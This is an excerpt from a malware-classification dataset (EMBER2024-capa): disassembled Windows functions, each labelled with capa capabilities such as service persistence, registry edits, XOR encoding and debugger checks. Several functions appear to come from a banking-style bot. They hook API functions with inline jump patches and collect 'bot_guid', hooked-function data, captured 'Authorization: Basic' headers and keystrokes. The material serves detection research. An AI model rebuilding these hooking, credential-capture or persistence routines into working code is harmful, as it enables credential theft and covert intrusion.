joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov dword [0x40a3e4], 0
mov dword [0x40a3f0], 0
mov dword [0x40a3ec], 0
mov dword [0x40a3e8], 0
mov eax, dword [ebp + 0x10]
push eax
call fcn.00401181
add esp, 4
test eax, eax
jne 0x401045
xor eax, eax
jmp 0x40117b
cmp dword [ebp + 0xc], 0
jne 0x4010d0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0x401210
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], 0
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [ebp - 0x10], eax
push 1
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0x409030
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.USER32.dll_RegisterClassA]
and eax, 0xffff
test eax, eax
jne 0x4010d0
push 5
push 3
push 0x7ff1
mov eax, dword [0x40a504]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
jmp 0x40117b
mov ecx, dword [ebp + 8]
mov dword [0x40a2c4], ecx
push 0
mov edx, dword [ebp + 8]
push edx
push 0
push 0
push 0x64
push 0xc8
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x409030
push 0x409030
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x409c94], eax
cmp dword [0x409c94], 0
jne 0x401132
push 5
push 3
push 0x7ff1
mov eax, dword [0x40a504]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
jmp 0x40117b
push 0
mov ecx, dword [0x409c94]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov edx, dword [0x409c94]
push edx
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
push 0
push 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401178
lea ecx, [ebp - 0x44]
push ecx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea edx, [ebp - 0x44]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x40114e
mov eax, dword [ebp - 0x3c]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4015c9
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
lea eax, [ebp - 0x110]
push eax
push 1
push 0
push 0x40907c
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4015fe
or eax, 0xffffffff
jmp 0x401766
push 0x409098
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0x114], 0x104
lea edx, [ebp - 0x114]
push edx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
lea edx, [ebp - 0x10c]
push edx
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401757
lea ecx, [ebp - 0x218]
push ecx
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4090a4
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov byte [ebp + eax - 0x10c], 0
push 0x4090b0
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4016a9
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 2
jmp 0x401766
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4090bc
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
mov byte [ebp + edx - 0x10c], 0
push 0x4090c4
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x401700
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 2
jmp 0x401766
lea edx, [ebp - 0x218]
push edx
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4090cc
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov byte [ebp + ecx - 0x10c], 0
push 0x4090d4
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x401757
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 2
jmp 0x401766
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4019ac
Capabilities:
Create service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push 0x40a400
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x4090f8
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x409104
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x401a22
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x114], eax
xor eax, eax
jmp 0x401b18
push 0xf01ff
mov ecx, dword [0x40903c]
push ecx
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jne 0x401af9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0x424
je 0x401a6e
jmp 0x401a70
jmp 0x401a77
xor eax, eax
jmp 0x401b18
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x108]
push ecx
push 1
push 3
push 1
push 0xf01ff
mov edx, dword [0x40903c]
push edx
mov eax, dword [0x40903c]
push eax
mov ecx, dword [ebp - 0x10c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jne 0x401aef
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
mov dword [ebp - 0x11c], edx
cmp dword [ebp - 0x11c], 0x431
je 0x401adc
jmp 0x401ade
jmp 0x401aef
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x401b18
mov dword [0x40a3f0], 1
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x401b1c
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov word [ebp - 0x114], 0
lea eax, [ebp - 0x11c]
push eax
push 3
push 0
push 0x409114
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401b59
xor eax, eax
jmp 0x401ca8
mov dword [ebp - 0x110], 0
jmp 0x401b74
mov ecx, dword [ebp - 0x110]
add ecx, 1
mov dword [ebp - 0x110], ecx
mov edx, dword [ebp - 0x110]
cmp edx, dword [ebp + 0xc]
jge 0x401c7e
cmp dword [ebp - 0x110], 0
jne 0x401baa
mov eax, dword [ebp + 8]
add eax, 1
push eax
push 0x409158
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x401bc6
mov edx, dword [ebp + 8]
add edx, 1
push edx
push 0x409164
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 4], 4
mov dword [ebp - 0x120], 4
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x118]
push edx
lea eax, [ebp - 4]
push eax
push 0
lea ecx, [ebp - 0x10c]
push ecx
mov edx, dword [ebp - 0x11c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401c79
mov eax, dword [ebp - 0x118]
and eax, 2
test eax, eax
je 0x401c79
mov word [ebp - 0x114], 1
mov ecx, dword [ebp - 0x118]
sub ecx, 2
mov dword [ebp - 0x118], ecx
mov dword [ebp - 0x120], 4
mov edx, dword [ebp - 0x120]
push edx
lea eax, [ebp - 0x118]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 0
lea edx, [ebp - 0x10c]
push edx
mov eax, dword [ebp - 0x11c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401c79
mov ecx, dword [ebp - 0x11c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x401ca8
jmp 0x401b65
movsx edx, word [ebp - 0x114]
test edx, edx
je 0x401c96
mov eax, dword [ebp - 0x11c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 0x11c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x403dd4
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
lea eax, [ebp - 0xc]
push eax
push 4
push 0
mov ecx, dword [0x40945c]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403e9e
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403e94
mov edx, dword [0x409468]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
mov eax, dword [0x409468]
push eax
push 2
push 0
mov ecx, dword [0x409460]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403e5f
mov dword [ebp - 4], 1
push 4
push 0x4081c0
push 4
push 0
mov eax, dword [0x409464]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x403e8a
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x4047da
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 0x14]
push eax
push 0x20019
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x404807
xor eax, eax
jmp 0x404860
mov dword [ebp - 8], 4
mov dword [ebp - 0x10], 4
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
push 0x409644
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x404849
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x404860
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
mov dword [edx], eax
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x404864
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
push eax
push 2
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40488e
xor eax, eax
jmp 0x4048df
mov dword [ebp - 4], 4
mov dword [ebp - 0xc], 4
mov edx, dword [ebp - 0xc]
push edx
lea eax, [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0x40965c
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4048d0
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x4048df
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x406319
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x409948
cmp edx, dword [eax]
je 0x40633b
add eax, 8
inc ecx
cmp eax, 0x4099d8
jl 0x40632c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x409948]
jne 0x406469
mov eax, dword [0x409af4]
cmp eax, 1
je 0x406443
test eax, eax
jne 0x40636c
cmp dword [0x409684], 1
je 0x406443
cmp edx, 0xfc
je 0x406469
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4063a3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00405560
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004050f0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4063e6
lea eax, [ebp - 0x1a4]
push eax
call fcn.004050f0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4084cc
push edi
call fcn.00407300
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00405560
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00405570
lea eax, [ebp - 0xa0]
push 0x4084ac
push eax
call fcn.00405570
push dword [esi + 0x40994c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00405570
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00407271
add esp, 0x2c
pop edi
jmp 0x406469
lea eax, [ebp + 8]
lea esi, [esi + 0x40994c]
push 0
push eax
push dword [esi]
call fcn.004050f0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x911c39
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
and dword [eax + 4], 0
and dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
pop ebp
ret

Function at 0x912cb1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
mov edx, dword [ebp + 8]
je 0x912ce9
mov ecx, dword [ebp + 0x10]
push esi
push edi
mov eax, dword [ecx]
movzx edi, byte [edx]
dec dword [ebp + 0xc]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
xor eax, dword [esi*4 + 0x92d3a0]
inc edx
cmp dword [ebp + 0xc], 0
mov dword [ecx], eax
jne 0x912cc2
pop edi
pop esi
pop ebp
ret
Function at 0x9160aa
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
pop ebp
ret

Function at 0x917092
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x178
push ebx
mov ebx, dword [ebp + 0x10]
test ebx, ebx
je 0x91729e
cmp byte [0x96cb88], 0
push esi
push edi
je 0x917197
lea eax, [ebx + 1]
test eax, eax
je 0x9170d5
lea eax, [ebx + 2]
push eax
push 8
call dword [fcn.0092d090]
push eax
call dword [fcn.0092d08c]
mov dword [ebp - 0x1c], eax
jmp 0x9170d9
and dword [ebp - 0x1c], 0
mov esi, dword [ebp - 0x1c]
test esi, esi
je 0x917197
push ebx
push dword [ebp + 0xc]
mov byte [ebp + 0x13], 0
push esi
call fcn.00914de2
mov byte [esi + ebx], 0
add esp, 0xc
mov esi, str.http:
lea edi, [ebp - 0x4c]
movsd dword es:[edi], dword [esi]
push 5
pop eax
movsw word es:[edi], word [esi]
cmp ebx, eax
jae 0x91710d
mov eax, ebx
mov edi, dword [ebp - 0x1c]
push eax
lea eax, [ebp - 0x4c]
push eax
push edi
call fcn.009295a0
add esp, 0xc
test eax, eax
jne 0x91716b
push 0x17
pop eax
mov dword [ebp - 0x18], 0x75410a0d
mov dword [ebp - 0x14], 0x726f6874
mov dword [ebp - 0x10], 0x74617a69
mov dword [ebp - 0xc], 0x3a6e6f69
mov dword [ebp - 8], 0x73614220
mov dword [ebp - 4], 0x206369
cmp ebx, eax
jae 0x917155
mov eax, ebx
push eax
lea eax, [ebp - 0x18]
push eax
push edi
call fcn.0091a633
add esp, 0xc
test eax, eax
jne 0x91716b
mov byte [ebp + 0x13], 1
mov esi, dword [fcn.0092d090]
push edi
push 0
call esi
push eax
call dword [fcn.0092d088]
test eax, eax
je 0x91718d
push edi
push 0
call esi
push eax
call dword [0x92d084]
cmp byte [ebp + 0x13], 0
jne 0x91729c
lea ecx, [ebp - 0x44]
call fcn.0091889b
mov esi, str.rep2_
lea edi, [ebp - 0x24]
lea eax, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
push eax
push eax
movsw word es:[edi], word [esi]
call fcn.00914de8
pop ecx
push eax
push str.to_table
push 2
pop edi
push edi
lea ecx, [ebp - 0x44]
call fcn.009188bf
lea eax, [ebp - 0x74]
push eax
push 0
call fcn.0091adf6
pop ecx
pop ecx
lea eax, [ebp - 0x74]
push eax
push eax
call fcn.00914de8
pop ecx
push eax
push str.bot_guid
push edi
lea ecx, [ebp - 0x44]
call fcn.009188bf
push 0x104
lea eax, [ebp - 0x178]
push eax
push 0
call dword [fcn.0092d0f8]
lea eax, [ebp - 0x178]
push eax
push eax
call fcn.00914de8
pop ecx
push eax
push str.process_name
push edi
lea ecx, [ebp - 0x44]
call fcn.009188bf
push dword [ebp + 8]
push dword [ebp + 8]
call fcn.00914de8
pop ecx
push eax
push str.hooked_func
push edi
lea ecx, [ebp - 0x44]
call fcn.009188bf
push dword [ebp + 0xc]
lea ecx, [ebp - 0x44]
push ebx
push str.func_data
push edi
call fcn.009188bf
mov eax, dword [0x9593f8]
mov esi, 0x9545d8
push esi
add eax, eax
push eax
push str.keys
push edi
lea ecx, [ebp - 0x44]
call fcn.009188bf
push 0x4e20
push 0
push esi
call fcn.00914df4
and dword [0x9593f8], 0
add esp, 0xc
lea ecx, [ebp - 0x44]
call fcn.00918a74
push dword [ebp - 0x40]
push dword [ebp - 0x3c]
call fcn.00916cf8
pop ecx
pop ecx
lea ecx, [ebp - 0x44]
call fcn.00918bb7
pop edi
pop esi
pop ebx
leave
ret
Function at 0x91896c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
cmp dword [esi + 8], 0
jne 0x918982
or eax, 0xffffffff
jmp 0x918a71
mov eax, dword [esi + 4]
mov ecx, eax
shr ecx, 4
lea eax, [ecx + eax + 0x43]
mov ecx, dword [esi + 0x10]
mov dword [ebp - 4], eax
lea eax, [eax + ecx*2]
push edi
push eax
call fcn.00911189
mov edi, eax
pop ecx
test edi, edi
jne 0x9189a9
push 0xfffffffffffffffe
jmp 0x9189cd
push 0x95a658
lea eax, [ebp - 4]
push eax
mov eax, dword [esi + 0x10]
lea eax, [edi + eax*2]
push eax
push dword [esi + 4]
push dword [esi + 8]
call fcn.00918ef0
add esp, 0x14
test eax, eax
je 0x9189d3
push 0xfffffffffffffffd
pop eax
jmp 0x918a70
mov eax, dword [esi + 0x10]
mov ecx, dword [ebp - 4]
add eax, eax
lea edx, [eax + ecx]
mov dword [esi + 0xc], 1
cmp edx, dword [esi + 4]
jae 0x918a05
push ecx
lea ecx, [eax + edi]
push ecx
mov ecx, dword [esi + 8]
add ecx, eax
push ecx
call fcn.00914de2
push edi
call fcn.009111cb
add esp, 0x10
jmp 0x918a11
push dword [esi + 8]
call fcn.009111cb
pop ecx
mov dword [esi + 8], edi
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 8]
mov edx, dword [esi + 4]
mov dword [eax + ecx], edx
mov ecx, dword [ebp - 4]
mov eax, dword [esi + 0x10]
lea eax, [ecx + eax*2]
mov dword [esi + 4], eax
mov eax, dword [esi + 8]
and dword [eax], 0
mov eax, dword [esi + 0x10]
and dword [ebp - 8], 0
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [esi + 4]
sub ecx, eax
push ecx
mov ecx, dword [esi + 8]
add ecx, eax
push ecx
call fcn.00918bd8
mov ecx, dword [ebp - 8]
mov eax, dword [esi + 8]
mov dword [eax], ecx
xor ecx, ecx
inc ecx
add esp, 0xc
cmp dword [esi + 4], ecx
jbe 0x918a6e
mov eax, dword [esi + 8]
mov dl, byte [eax + ecx - 1]
xor byte [eax + ecx], dl
inc ecx
cmp ecx, dword [esi + 4]
jb 0x918a5e
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x918bd8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
mov edx, dword [ebp + 8]
je 0x918c10
mov ecx, dword [ebp + 0x10]
push esi
push edi
mov eax, dword [ecx]
movzx edi, byte [edx]
dec dword [ebp + 0xc]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
xor eax, dword [esi*4 + 0x92e490]
inc edx
cmp dword [ebp + 0xc], 0
mov dword [ecx], eax
jne 0x918be9
pop edi
pop esi
pop ebp
ret
Function at 0x919c54
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 4]
push edi
mov edi, dword [esi]
push 0x40
add esi, 8
push esi
mov dword [ebp - 8], edi
mov dword [ebp - 0x18], eax
call dword [0x92d150]
test eax, eax
jne 0x919e38
push 5
push edi
call dword [fcn.0092d0d4]
test eax, eax
jne 0x919e38
lea eax, [ebp - 0x3c]
push eax
push edi
call fcn.009295c0
mov ebx, 0x1000
pop ecx
pop ecx
test dword [ebp - 0x24], ebx
jne 0x919e38
cmp byte [ebp - 0x36], 0xe9
jne 0x919d35
movzx edi, byte [ebp - 0x3c]
add edi, dword [ebp - 0x2c]
push ebx
add edi, dword [ebp - 8]
push edi
call dword [fcn.0092d0d4]
test eax, eax
jne 0x919e38
and dword [ebp - 4], eax
lea eax, [ebp - 0x3c]
push eax
mov eax, dword [ebp - 4]
add eax, edi
push eax
call fcn.009295c0
mov al, byte [ebp - 0x36]
pop ecx
pop ecx
cmp al, 0xc2
je 0x919d35
cmp al, 0xc3
je 0x919d35
cmp al, 0xcc
je 0x919d35
test dword [ebp - 0x24], ebx
jne 0x919e38
movzx ecx, byte [ebp - 0x3c]
add dword [ebp - 4], ecx
cmp al, 0x40
jne 0x919d30
lea eax, [ebp - 0x3c]
push eax
mov eax, dword [ebp - 4]
add eax, edi
push eax
call fcn.009295c0
pop ecx
pop ecx
test dword [ebp - 0x24], ebx
jne 0x919e38
movzx eax, byte [ebp - 0x3c]
add dword [ebp - 4], eax
cmp byte [ebp - 0x36], 0x48
je 0x919e38
cmp dword [ebp - 4], ebx
jb 0x919cd1
push 0x40
push 0
push esi
call fcn.00914df4
push 0x40
push dword [ebp - 8]
call fcn.00919ac8
mov edi, eax
add esp, 0x14
test edi, edi
je 0x919e38
mov eax, dword [ebp + 8]
push edi
push dword [ebp - 8]
mov dword [eax + 0x88], edi
push esi
call fcn.00914de2
and dword [ebp + 8], 0
add esp, 0xc
test edi, edi
je 0x919db1
lea eax, [ebp - 0x3c]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.009295c0
pop ecx
pop ecx
test dword [ebp - 0x24], ebx
jne 0x919db1
cmp byte [ebp - 0x36], 0xe9
je 0x919d96
cmp byte [ebp - 0x36], 0xe8
jne 0x919da5
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp + 8]
sub eax, esi
add eax, dword [ebp - 8]
mov dword [ecx + esi + 1], eax
movzx eax, byte [ebp - 0x3c]
add dword [ebp + 8], eax
cmp dword [ebp + 8], edi
jb 0x919d74
mov ecx, dword [ebp - 8]
and dword [ebp - 0xc], 0
mov edx, ecx
sub edx, esi
lea eax, [edi + esi]
mov byte [eax], 0xe9
sub edx, 5
mov dword [eax + 1], edx
lea eax, [ebp - 0xc]
push eax
push 0x40
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
push 0xffffffffffffffff
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ebx
call fcn.009196dd
test eax, eax
js 0x919e38
and dword [ebp - 0xc], 0
xor eax, eax
lea edi, [ebp - 0x1f]
stosd dword es:[edi], eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 8]
mov dword [ebp - 0x20], 0xe9
sub eax, 5
mov dword [ebp - 0x1f], eax
lea eax, [ebp - 0xc]
push eax
push 0x40
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
push 0xffffffffffffffff
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], ebx
call fcn.009196dd
test eax, eax
js 0x919e38
push 5
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 8]
call fcn.00914de2
add esp, 0xc
mov al, 1
jmp 0x919e3a
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x91aa0d
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x91aa58
add eax, dword [eax + 0x3c]
mov ecx, 0x4550
cmp dword [eax], ecx
jne 0x91aa58
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
cmp dword [eax], ecx
jne 0x91aa58
mov ecx, dword [ebp + 0x10]
add eax, 4
mov dword [edx], eax
add eax, 0x14
mov dword [ecx], eax
mov ecx, 0x10b
cmp word [eax], cx
jne 0x91aa58
mov ecx, dword [ebp + 0x14]
add eax, 0xe0
mov dword [ecx], eax
xor eax, eax
inc eax
pop ebp
ret
xor eax, eax
pop ebp
ret